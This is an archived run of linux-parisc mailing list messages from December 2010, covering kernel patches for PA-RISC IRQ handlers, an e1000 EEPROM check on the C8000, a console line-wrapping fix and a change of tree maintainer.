Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3266>

On 12/03/2010 03:01 AM, James Bottomley wrote:
> The generic conversion eliminates the spurious no_ack and no_end
> routines, converts all the cascaded handlers to handle_simple_irq() and
> makes iosapic use a modified handle_percpu_irq() to become the same as
> the CPU irq's.  This isn't an essential change, but it eliminates the
> mask/unmask overhead of handle_level_irq().
>
> Signed-off-by: James Bottomley<James.Bottomley@suse.de>
Nice patches James! (although I only reply to this one)

They work for me on 715/64, B160L and c3000.
Can you or Kyle send those patches upstream for 2.6.37?

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:33 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: convert the rest of the irq handlers to
 simple/percpu
Date: Fri, 03 Dec 2010 16:40:58 -0600
Lines: 27
Approved: news@gmane.org
Message-ID: <1291416058.2881.294.camel@mulgrave.site>
References: <1291341665.25796.2.camel@mulgrave.site>
	 <4CF960D5.9000700@gmx.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1291416087 28487 80.91.229.12 (3 Dec 2010 22:41:27 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Fri, 3 Dec 2010 22:41:27 +0000 (UTC)
Cc: Parisc List <linux-parisc@vger.kernel.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Dec 03 23:41:23 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1POeJe-0001oI-AH
	for glpp-linux-parisc@lo.gmane.org; Fri, 03 Dec 2010 23:41:22 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753926Ab0LCWlF (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 3 Dec 2010 17:41:05 -0500
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:41180 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1753604Ab0LCWlB (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 3 Dec 2010 17:41:01 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id E1A328EE105;
	Fri,  3 Dec 2010 14:41:00 -0800 (PST)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id CMpjN-xJu05E; Fri,  3 Dec 2010 14:41:00 -0800 (PST)
Original-Received: from [192.168.2.10] (dagonet.hansenpartnership.com [76.243.235.53])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 6ED798EE0DD;
	Fri,  3 Dec 2010 14:41:00 -0800 (PST)
In-Reply-To: <4CF960D5.9000700@gmx.de>
X-Mailer: Evolution 2.30.1.2 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3267
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3267>

On Fri, 2010-12-03 at 22:27 +0100, Helge Deller wrote:
> On 12/03/2010 03:01 AM, James Bottomley wrote:
> > The generic conversion eliminates the spurious no_ack and no_end
> > routines, converts all the cascaded handlers to handle_simple_irq() and
> > makes iosapic use a modified handle_percpu_irq() to become the same as
> > the CPU irq's.  This isn't an essential change, but it eliminates the
> > mask/unmask overhead of handle_level_irq().
> >
> > Signed-off-by: James Bottomley<James.Bottomley@suse.de>
> Nice patches James! (although I only reply to this one)
> 
> They work for me on 715/64, B160L and c3000.
> Can you or Kyle send those patches upstream for 2.6.37?

Sure, although kyle was also going to post a different patch, I
think ... we only need the one liner upstream to make everything work.
The rest is just a conversion to more simplistic handlers which can wait
for the merge window.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:33 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@hera.kernel.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [git pull request] parisc fixes for 2.6.37
Date: Sun, 5 Dec 2010 00:47:10 +0000
Lines: 43
Approved: news@gmane.org
Message-ID: <20101205004710.GA10250@hera.kernel.org>
Reply-To: kyle@mcmartin.ca
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1291510040 7488 80.91.229.12 (5 Dec 2010 00:47:20 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 5 Dec 2010 00:47:20 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: torvalds@linux-foundation.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Dec 05 01:47:16 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PP2l0-0004Uy-GE
	for glpp-linux-parisc@lo.gmane.org; Sun, 05 Dec 2010 01:47:14 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755423Ab0LEArN (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 4 Dec 2010 19:47:13 -0500
Original-Received: from hera.kernel.org ([140.211.167.34]:49510 "EHLO hera.kernel.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1755025Ab0LEArN (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 4 Dec 2010 19:47:13 -0500
Original-Received: from hera.kernel.org (localhost [127.0.0.1])
	by hera.kernel.org (8.14.4/8.14.3) with ESMTP id oB50lA8m011297
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Sun, 5 Dec 2010 00:47:10 GMT
X-Virus-Status: Clean
X-Virus-Scanned: clamav-milter 0.96.1 at hera.kernel.org
Original-Received: (from kyle@localhost)
	by hera.kernel.org (8.14.4/8.14.4/Submit) id oB50lAxR011296;
	Sun, 5 Dec 2010 00:47:10 GMT
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Spam-Status: No, score=-2.2 required=5.0 tests=ALL_TRUSTED,BAYES_00,
	DATE_IN_FUTURE_96_Q autolearn=no version=3.3.1
X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on hera.kernel.org
X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.2.3 (hera.kernel.org [127.0.0.1]); Sun, 05 Dec 2010 00:47:11 +0000 (UTC)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3268
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3268>

Hi Linus,

Please pull the following bug fixes for parisc. Contents are entirely
bug fixes (two for the do_IRQ removal earlier this release) and a signal
patch to remove redundant initializing of a union pointed out by Randy.

regards, Kyle

---

The following changes since commit bcb38ceb225f5d5b2198a2755277cd441ed1e82b:

  Revert "debug_locks: set oops_in_progress if we will log messages." (2010-11-29 15:18:28 -0800)

are available in the git repository at:
  git://git.kernel.org/pub/scm/linux/kernel/git/kyle/parisc-2.6.git fixes

Guy Martin (2):
      parisc: KittyHawk LCD fix
      parisc: Fix GSC PS/2 driver name for keyboard and mouse

James Bottomley (2):
      parisc: fix dino/gsc interrupts
      parisc: convert the rest of the irq handlers to simple/percpu

Kyle McMartin (1):
      parisc: remove redundant initialization in sigsegv path of sys_rt_sigreturn

 arch/parisc/kernel/irq.c     |    7 ++-----
 arch/parisc/kernel/signal.c  |    9 +--------
 drivers/input/serio/gscps2.c |    2 +-
 drivers/parisc/dino.c        |    1 -
 drivers/parisc/eisa.c        |    3 +--
 drivers/parisc/gsc.c         |    3 +--
 drivers/parisc/iosapic.c     |    8 ++++++++
 drivers/parisc/led.c         |   17 +++++++++++++----
 drivers/parisc/superio.c     |    3 +--
 9 files changed, 28 insertions(+), 25 deletions(-)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guy Martin <gmsoft@tuxicoman.be>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.drivers.e1000.devel
Subject: Re: [PATCH] e1000: Allow the driver to be used on PA RISC C8000
 workstation
Date: Sun, 5 Dec 2010 18:04:26 +0100
Lines: 64
Approved: news@gmane.org
Message-ID: <20101205180426.72ce3265@borg.bxl.tuxicoman.be>
References: <alpine.DEB.1.10.1010240417160.30241@artax.karlin.mff.cuni.cz>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: dough.gmane.org 1291568686 11685 80.91.229.12 (5 Dec 2010 17:04:46 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Sun, 5 Dec 2010 17:04:46 +0000 (UTC)
Cc: Mikulas Patocka <mikulas@artax.karlin.mff.cuni.cz>,
	linux-parisc@vger.kernel.org,
	Jeff Kirsher <jeffrey.t.kirsher@intel.com>
To: e1000-devel@lists.sourceforge.net
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Dec 05 18:04:39 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PPI0q-0000QW-V2
	for glpp-linux-parisc@lo.gmane.org; Sun, 05 Dec 2010 18:04:37 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755185Ab0LEREf (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 5 Dec 2010 12:04:35 -0500
Original-Received: from silke.schedom-europe.net ([193.109.184.88]:53324 "EHLO
	silke.schedom-europe.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755169Ab0LEREf (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 5 Dec 2010 12:04:35 -0500
Original-Received: (qmail 29503 invoked by uid 507); 5 Dec 2010 18:04:33 +0100
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on
	silke.schedom-europe.net
X-Spam-Level: ***********
X-Spam-Status: No, score=11.2 required=15.0 tests=BAYES_99,FH_DATE_PAST_20XX,
	RCVD_IN_PBL,RDNS_DYNAMIC autolearn=disabled version=3.2.5
Original-Received: from ip115.dyn1.liege.schedom-europe.net (HELO ibiza.bxl.tuxicoman.be) (83.101.5.115)
  by silke.schedom-europe.net with SMTP; 5 Dec 2010 18:04:27 +0100
Original-Received: from borg.bxl.tuxicoman.be ([2001:6f8:310:301::1])
	by ibiza.bxl.tuxicoman.be with esmtps (TLS1.0:DHE_RSA_AES_128_CBC_SHA1:16)
	(Exim 4.72)
	(envelope-from <gmsoft@tuxicoman.be>)
	id 1PPI0g-0004Ck-Is; Sun, 05 Dec 2010 18:04:26 +0100
In-Reply-To: <alpine.DEB.1.10.1010240417160.30241@artax.karlin.mff.cuni.cz>
X-Mailer: Claws Mail 3.7.6 (GTK+ 2.20.1; x86_64-pc-linux-gnu)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3269 gmane.linux.drivers.e1000.devel:7743
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3269>

Hi all,

I can confirm that I've seen the very same on multiple C8000
workstation too.

Can someone please apply this patch ?

Tested-by: Guy Martin <gmsoft@tuxicoman.be>

Thanks,
  Guy

On Sun, 24 Oct 2010 04:28:59 +0200 (CEST)
Mikulas Patocka <mikulas@artax.karlin.mff.cuni.cz> wrote:

> Hi
> 
> This is my first patch for my PA RISC C8000 machine: allow to use the 
> onboard NIC.
> 
> Mikulas
> 
> ---
> 
> Allow the driver to be used on PA RISC C8000 workstation
> 
> Search on the internet shows that the checksum field in the EEPROM on
> HPPA is really not a checksum but a signature (different users
> including me found the same mismatching checksum 0x16d6, despite
> their MAC addresses and EEPROM content being different).
> 
> So I allow 0x16d6 (the last word read) as the matching checksum on
> hppa.
> 
> Signed-off-by: Mikulas Patocka <mikulas@artax.karlin.mff.cuni.cz>
> 
> Index: linux-2.6.36-rc8/drivers/net/e1000/e1000_hw.c
> ===================================================================
> --- linux-2.6.36-rc8.orig/drivers/net/e1000/e1000_hw.c
> 2010-10-24 04:01:03.000000000 +0200 +++
> linux-2.6.36-rc8/drivers/net/e1000/e1000_hw.c	2010-10-24
> 04:25:22.000000000 +0200 @@ -3840,6 +3840,12 @@ s32
> e1000_validate_eeprom_checksum(struc checksum += eeprom_data; }
>  
> +#ifdef __hppa__
> +	/* This seems to be a signature and not a checksum on HP
> c8000 */
> +	if (eeprom_data == 0x16d6)
> +		return E1000_SUCCESS;
> +#endif
> +
>  	if (checksum == (u16) EEPROM_SUM)
>  		return E1000_SUCCESS;
>  	else {
> --
> To unsubscribe from this list: send the line "unsubscribe
> linux-parisc" in the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:34 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.drivers.e1000.devel
Subject: Re: [PATCH] e1000: Allow the driver to be used on PA RISC C8000
 workstation
Date: Mon, 6 Dec 2010 10:12:36 -0500
Lines: 20
Approved: news@gmane.org
Message-ID: <20101206151236.GO25668@bombadil.infradead.org>
References: <alpine.DEB.1.10.1010240417160.30241@artax.karlin.mff.cuni.cz>
 <20101205180426.72ce3265@borg.bxl.tuxicoman.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1291648399 28205 80.91.229.12 (6 Dec 2010 15:13:19 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 6 Dec 2010 15:13:19 +0000 (UTC)
Cc: e1000-devel@lists.sourceforge.net,
	Mikulas Patocka <mikulas@artax.karlin.mff.cuni.cz>,
	linux-parisc@vger.kernel.org,
	Jeff Kirsher <jeffrey.t.kirsher@intel.com>
To: Guy Martin <gmsoft@tuxicoman.be>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Dec 06 16:13:12 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PPckZ-0002KJ-Ka
	for glpp-linux-parisc@lo.gmane.org; Mon, 06 Dec 2010 16:13:11 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753373Ab0LFPM4 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 6 Dec 2010 10:12:56 -0500
Original-Received: from bombadil.infradead.org ([18.85.46.34]:39065 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753431Ab0LFPM4 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 6 Dec 2010 10:12:56 -0500
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.72 #1 (Red Hat Linux))
	id 1PPck0-0000Gq-N2; Mon, 06 Dec 2010 15:12:36 +0000
Content-Disposition: inline
In-Reply-To: <20101205180426.72ce3265@borg.bxl.tuxicoman.be>
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3270 gmane.linux.drivers.e1000.devel:7744
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3270>

On Sun, Dec 05, 2010 at 06:04:26PM +0100, Guy Martin wrote:
> Hi all,
> 
> I can confirm that I've seen the very same on multiple C8000
> workstation too.
> 
> Can someone please apply this patch ?
> 
> Tested-by: Guy Martin <gmsoft@tuxicoman.be>
> 

It should be sent via netdev@ so that DaveM can pick it up if the e1000
folks do not...

--Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guy Martin <gmsoft@tuxicoman.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc : Remove broken line wrapping handling
 pdc_iodc_print()
Date: Mon, 6 Dec 2010 16:48:04 +0100
Lines: 65
Approved: news@gmane.org
Message-ID: <20101206164804.1dd8765e@borg.bxl.tuxicoman.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="MP_/qy6Y6qpZWSd123zYwfhZ84k"
X-Trace: dough.gmane.org 1291650499 6790 80.91.229.12 (6 Dec 2010 15:48:19 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 6 Dec 2010 15:48:19 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Dec 06 16:48:15 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PPdIV-0002WX-EZ
	for glpp-linux-parisc@lo.gmane.org; Mon, 06 Dec 2010 16:48:15 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751425Ab0LFPsP (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 6 Dec 2010 10:48:15 -0500
Original-Received: from bente.schedom-europe.net ([193.109.184.68]:58443 "EHLO
	bente.schedom-europe.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750774Ab0LFPsO (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 6 Dec 2010 10:48:14 -0500
Original-Received: (qmail 22423 invoked by uid 507); 6 Dec 2010 16:48:11 +0100
X-Spam-Checker-Version: SpamAssassin 3.2.5 (2008-06-10) on
	bente.schedom-europe.net
X-Spam-Level: ***********
X-Spam-Status: No, score=11.2 required=15.0 tests=BAYES_99,FH_DATE_PAST_20XX,
	RCVD_IN_PBL,RDNS_DYNAMIC autolearn=disabled version=3.2.5
Original-Received: from ip115.dyn1.liege.schedom-europe.net (HELO ibiza.bxl.tuxicoman.be) (83.101.5.115)
  by bente.schedom-europe.net with SMTP; 6 Dec 2010 16:48:06 +0100
Original-Received: from borg.bxl.tuxicoman.be ([2001:6f8:310:301::1])
	by ibiza.bxl.tuxicoman.be with esmtps (TLS1.0:DHE_RSA_AES_128_CBC_SHA1:16)
	(Exim 4.72)
	(envelope-from <gmsoft@tuxicoman.be>)
	id 1PPdIL-0005ie-FH
	for linux-parisc@vger.kernel.org; Mon, 06 Dec 2010 16:48:05 +0100
X-Mailer: Claws Mail 3.7.6 (GTK+ 2.20.1; x86_64-pc-linux-gnu)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3271
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3271>

--MP_/qy6Y6qpZWSd123zYwfhZ84k
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Content-Disposition: inline


Remove the broken line wrapping handling in pdc_iodc_print().
It is broken in 3 ways :
  - It doesn't keep track of the current screen position, it just
    assumes that the new buffer will be printed at the begining of the
    screen.
  - It doesn't take in account that non printable characters won't
    increase the current position on the screen.
  - And last but not least, it triggers a kernel panic if a backspace
    is the first char in the provided buffer :

 Backtrace:
  [<0000000040128ec4>] pdc_console_write+0x44/0x78
  [<0000000040128f18>] pdc_console_tty_write+0x20/0x38
  [<000000004032f1ac>] n_tty_write+0x2a4/0x550
  [<000000004032b158>] tty_write+0x1e0/0x2d8
  [<00000000401bb420>] vfs_write+0xb8/0x188
  [<00000000401bb630>] sys_write+0x68/0xb8
  [<0000000040104eb8>] syscall_exit+0x0/0x14

Most terminals handle the line wrapping just fine. I've confirmed that
it works correctly on a C8000 with both vga and serial output.

Signed-off-by: Guy Martin <gmsoft@tuxicoman.be>
--MP_/qy6Y6qpZWSd123zYwfhZ84k
Content-Type: text/x-patch
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename=pdc_iodc_print-cleanup.diff

--- arch/parisc/kernel/firmware.c.orig	2010-12-05 16:42:07.000000000 +0100
+++ arch/parisc/kernel/firmware.c	2010-12-05 17:32:52.000000000 +0100
@@ -1126,15 +1126,13 @@
 	unsigned int i;
 	unsigned long flags;
 
-	for (i = 0; i < count && i < 79;) {
+	for (i = 0; i < count;) {
 		switch(str[i]) {
 		case '\n':
 			iodc_dbuf[i+0] = '\r';
 			iodc_dbuf[i+1] = '\n';
 			i += 2;
 			goto print;
-		case '\b':	/* BS */
-			i--; /* overwrite last */
 		default:
 			iodc_dbuf[i] = str[i];
 			i++;
@@ -1142,15 +1140,6 @@
 		}
 	}
 
-	/* if we're at the end of line, and not already inserting a newline,
-	 * insert one anyway. iodc console doesn't claim to support >79 char
-	 * lines. don't account for this in the return value.
-	 */
-	if (i == 79 && iodc_dbuf[i-1] != '\n') {
-		iodc_dbuf[i+0] = '\r';
-		iodc_dbuf[i+1] = '\n';
-	}

From - Thu Nov 08 21:06:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: parisc tree maintainer
Date: Mon, 6 Dec 2010 11:43:10 -0500
Lines: 13
Approved: news@gmane.org
Message-ID: <20101206164310.GQ25668@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1291653809 25082 80.91.229.12 (6 Dec 2010 16:43:29 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 6 Dec 2010 16:43:29 +0000 (UTC)
Cc: deller@gmx.de, torvalds@linux-foundation.org,
	linux-parisc@vger.kernel.org
To: James.Bottomley@HansenPartnership.com
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Dec 06 17:43:23 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PPe9k-0000eL-G8
	for glpp-linux-parisc@lo.gmane.org; Mon, 06 Dec 2010 17:43:16 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753615Ab0LFQnP (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 6 Dec 2010 11:43:15 -0500
Original-Received: from bombadil.infradead.org ([18.85.46.34]:42805 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753605Ab0LFQnP (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 6 Dec 2010 11:43:15 -0500
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.72 #1 (Red Hat Linux))
	id 1PPe9e-0005rL-IR; Mon, 06 Dec 2010 16:43:10 +0000
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3272
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3272>

James, Helge,

I'm getting a bit bored of maintaining the parisc trees and such... Do
either of you want to take over? If you do, please reply so that Linus
knows that the next pull request will come from you instead of me.

Thanks,
	Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:06:34 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] MAINTAINERS: decrease Kyle's house temperature a few degrees
Date: Mon, 6 Dec 2010 11:49:45 -0500
Lines: 28
Approved: news@gmane.org
Message-ID: <20101206164945.GR25668@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: dough.gmane.org 1291654211 27307 80.91.229.12 (6 Dec 2010 16:50:11 GMT)
X-Complaints-To: usenet@dough.gmane.org
NNTP-Posting-Date: Mon, 6 Dec 2010 16:50:11 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Dec 06 17:50:04 2010
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1PPeGC-0004mk-8F
	for glpp-linux-parisc@lo.gmane.org; Mon, 06 Dec 2010 17:49:56 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753893Ab0LFQtq (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 6 Dec 2010 11:49:46 -0500
Original-Received: from bombadil.infradead.org ([18.85.46.34]:35203 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753887Ab0LFQtq (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 6 Dec 2010 11:49:46 -0500
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.72 #1 (Red Hat Linux))
	id 1PPeG1-0006l2-FW
	for linux-parisc@vger.kernel.org; Mon, 06 Dec 2010 16:49:45 +0000
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:3273
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/3273>

It's about time I turned off some of these space heaters and joined the
21st century...

Signed-off-by: Kyle McMartin <kyle@mcmartin.ca>
---
diff --git a/MAINTAINERS b/MAINTAINERS
index 1a1c27b..d9bd3a1 100644
--- a/MAINTAINERS
+++ b/MAINTAINERS
@@ -4505,13 +4505,11 @@ F:	Documentation/blockdev/paride.txt
 F:	drivers/block/paride/
 
 PARISC ARCHITECTURE
-M:	Kyle McMartin <kyle@mcmartin.ca>
 M:	Helge Deller <deller@gmx.de>
 M:	"James E.J. Bottomley" <jejb@parisc-linux.org>
 L:	linux-parisc@vger.kernel.org
 W:	http://www.parisc-linux.org/
 Q:	http://patchwork.kernel.org/project/linux-parisc/list/
-T:	git git://git.kernel.org/pub/scm/linux/kernel/git/kyle/parisc-2.6.git
 S:	Maintained
